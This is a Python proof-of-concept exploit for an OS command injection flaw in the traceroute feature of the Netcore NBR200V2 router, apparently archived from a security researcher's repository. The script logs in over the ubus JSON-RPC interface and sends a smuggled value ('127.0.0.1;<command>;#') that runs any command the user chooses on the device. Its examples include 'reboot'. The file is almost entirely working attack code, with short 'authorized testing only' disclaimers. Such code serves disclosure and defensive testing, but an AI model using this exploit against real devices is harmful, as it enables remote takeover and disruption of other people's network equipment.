#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/HackSpeak/CVE-2026-94095 (see README for attribution/license)
"""
CVE-2026-94095 - Netcore NBR200V2 traceroute command injection PoC.

Affected : Netcore NBR200V2 firmware V1.3.241127.071246 (/usr/bin/network_tools)
Type     : OS command injection (ubus JSON-RPC -> tools_traceroute -> system())
CVSS 3.1 : 9.9 (Critical)

The `tools_traceroute()` handler builds:
    (traceroute <url> -m <max_hop> > /tmp/traceroute.txt && ...)&
and passes it to system(). Because <url> is not sanitized, shell metacharacters
(; && | ` #) are honored, turning the diagnostic feature into arbitrary command
execution.

Usage:
    python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"
    python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"

Only for authorized security testing on devices you own or are permitted to test.
"""
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.request

NULL_SID = "00000000000000000000000000000000"


def _ctx(insecure=True):
    return ssl._create_unverified_context() if insecure else ssl.create_default_context()


def post(target, payload, timeout=15, insecure=True):
    url = target.rstrip("/") + "/ubus"
    data = json.dumps(payload).encode("utf-8")
    req = urllib.request.Request(
        url, data=data, method="POST",
        headers={"Content-Type": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, timeout=timeout, context=_ctx(insecure)) as resp:
            return resp.getcode(), resp.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")
    except Exception as e:  # noqa: BLE001
        return -1, str(e)


def login(target, username, password, timeout=15):
    """Best-effort ubus session login to obtain a sid."""
    payload = {
        "jsonrpc": "2.0", "id": 1, "method": "call",
        "params": [NULL_SID, "session", "login",
                   {"username": username, "password": password}],
    }
    code, body = post(target, payload, timeout=timeout)
    try:
        obj = json.loads(body)
        return obj["result"][1]["ubus_rpc_session"]
    except Exception:  # noqa: BLE001
        print("[!] login failed (HTTP %s): %s" % (code, body[:200]))
        return None


def exploit(target, sid, command, timeout=15):
    # `#` comments out the trailing template so the injected command runs cleanly.
    url_value = "127.0.0.1;%s;#" % command
    payload = {
        "jsonrpc": "2.0", "id": 20, "method": "call",
        "params": [sid, "network_tools", "tools_traceroute",
                   {"action": "start", "url": url_value, "max_hop": 1, "wanid": 0}],
    }
    return post(target, payload, timeout=timeout)


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-94095 Netcore NBR200V2 traceroute command injection PoC")
    ap.add_argument("--target", required=True, help="base URL, e.g. http://192.168.1.1")
    ap.add_argument("--sid", help="ubus session id (sid)")
    ap.add_argument("--user", help="username for ubus session login (optional)")
    ap.add_argument("--password", help="password for ubus session login (optional)")
    ap.add_argument("--cmd", default="id", help="command to run on the device (default: id)")
    ap.add_argument("--timeout", type=int, default=15)
    args = ap.parse_args()

    sid = args.sid
    if not sid:
        if not (args.user and args.password):
            print("[!] provide --sid, or --user/--password to obtain one")
            return 2
        sid = login(args.target, args.user, args.password, args.timeout)
        if not sid:
            return 1
        print("[+] sid = %s" % sid)

    print("[*] injecting: %s" % args.cmd)
    code, body = exploit(args.target, sid, args.cmd, args.timeout)
    print("[*] HTTP %s" % code)
    print(body[:1000] if body else "(no body)")
    return 0


if __name__ == "__main__":
    sys.exit(main())
